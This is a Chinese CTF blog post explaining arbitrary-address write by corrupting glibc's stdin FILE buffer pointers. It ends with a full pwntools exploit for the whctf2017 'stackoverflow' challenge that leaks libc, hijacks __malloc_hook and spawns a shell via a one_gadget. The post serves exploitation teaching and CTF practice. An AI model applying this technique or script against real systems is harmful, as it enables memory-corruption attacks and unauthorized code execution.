stdin任意地址写

stdin标准输入缓冲区指针进行任意地址写的功能。

0x01 原理

先通过fread回顾下通过输入缓冲区进行输入的流程:

  1. 判断fp->_IO_buf_base输入缓冲区是否为空,如果为空则调用的_IO_doallocbuf去初始化输入缓冲区。
  2. 在分配完输入缓冲区或输入缓冲区不为空的情况下,判断输入缓冲区是否存在数据。
  3. 如果输入缓冲区有数据则直接拷贝至用户缓冲区,如果没有或不够则调用__underflow函数执行系统调用读取数据到输入缓冲区,再拷贝到用户缓冲区。

    假设我们能过控制输入缓冲区指针,使得输入缓冲区指向想要写的地址,那么在第三步调用系统调用读取数据到输入缓冲区的时候,也就会调用系统调用读取数据到我们想要写的地址,从而实现任意地址写的目的。

根据fread的源码,我们再看下要想实现往write_start写长度为write_end - write_start的数据具体经历了些什么。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
_IO_size_t
_IO_file_xsgetn (_IO_FILE *fp, void *data, _IO_size_t n)
{
...
if (fp->_IO_buf_base == NULL)
{
...
//输入缓冲区为空则初始化输入缓冲区
}

while (want > 0)
{

have = fp->_IO_read_end - fp->_IO_read_ptr;

if (have > 0)
{
...
//memcpy

}

if (fp->_IO_buf_base
&& want < (size_t) (fp->_IO_buf_end - fp->_IO_buf_base))
{
if (__underflow (fp) == EOF) ## 调用__underflow读入数据
...
}
...
return n - want;
}

将上述条件综合表述为:

  1. 设置_IO_read_end等于_IO_read_ptr。
  2. 设置_flag &~ _IO_NO_READS即_flag &~ 0x4。
  3. 设置_fileno为0。
  4. 设置_IO_buf_base为write_start,_IO_buf_end为write_end;且使得_IO_buf_end-_IO_buf_base大于fread要读的数据。

    0x02 例题

    whctf2017的stackoverflow
  • 申请超过0x20000申请的空间会挨着libc
  • 因为最后置零用的是temp不是size不一致导致了可以向后面任意一个位置写0,写到IO_buf_base的位置上然后就可以改IO_buf_end了,实现任意地址写。
  • 向malloc_hook中写rop读取数据形成栈溢出(这都行。。。。。)
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    from pwn import *
    context.log_level = 'debug'
    sh = process('./stackoverflow')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

    def malloc_one(size=0,data="",real_size=0,flag=False):
    sh.recvuntil("flow: ")
    sh.sendline(str(size))
    if flag:
    sh.recvuntil("ckoverflow: ")
    sh.sendline(str(real_size))
    sh.recvuntil("ropchain:")
    sh.send(data)

    def evil_write(data):
    sh.recvuntil("flow:")
    sh.send(data)

    def flush_buff(size):
    for i in range(0,size):
    sh.recvuntil("padding and ropchain: ")
    sh.sendline('a')


    sh.recvuntil('leave your name, bro:')
    sh.send('a'*32)
    sh.recvuntil('a'*32)
    libc_base = u64(sh.recv(6).ljust(8,'\x00'))- 0x3c5620
    log.success('libc_base: ' + hex(libc_base))
    io_stdin=libc_base+libc.symbols['_IO_2_1_stdin_']
    io_stdin_end=libc_base+libc.symbols['_IO_2_1_stdin_']+0xe0+0x10
    malloc_hook=libc_base+libc.symbols['__malloc_hook']
    rce = libc_base + 0x4526a
    size = 0x5c5908
    real_size = 0x200000
    malloc_one(size,p64(0),real_size,True)
    sh.recvuntil("please input the size to trigger stackoverflow:")
    sh.send(p64(malloc_hook)*4 + p64(malloc_hook+0x8))
    flush_buff(39)
    sh.recvuntil(" trigger stackoverflow: ")
    sh.send(p64(0xdeadbeef))
    gdb.attach(sh)
    sh.interactive()
-------------本文结束感谢您的阅读-------------
+ +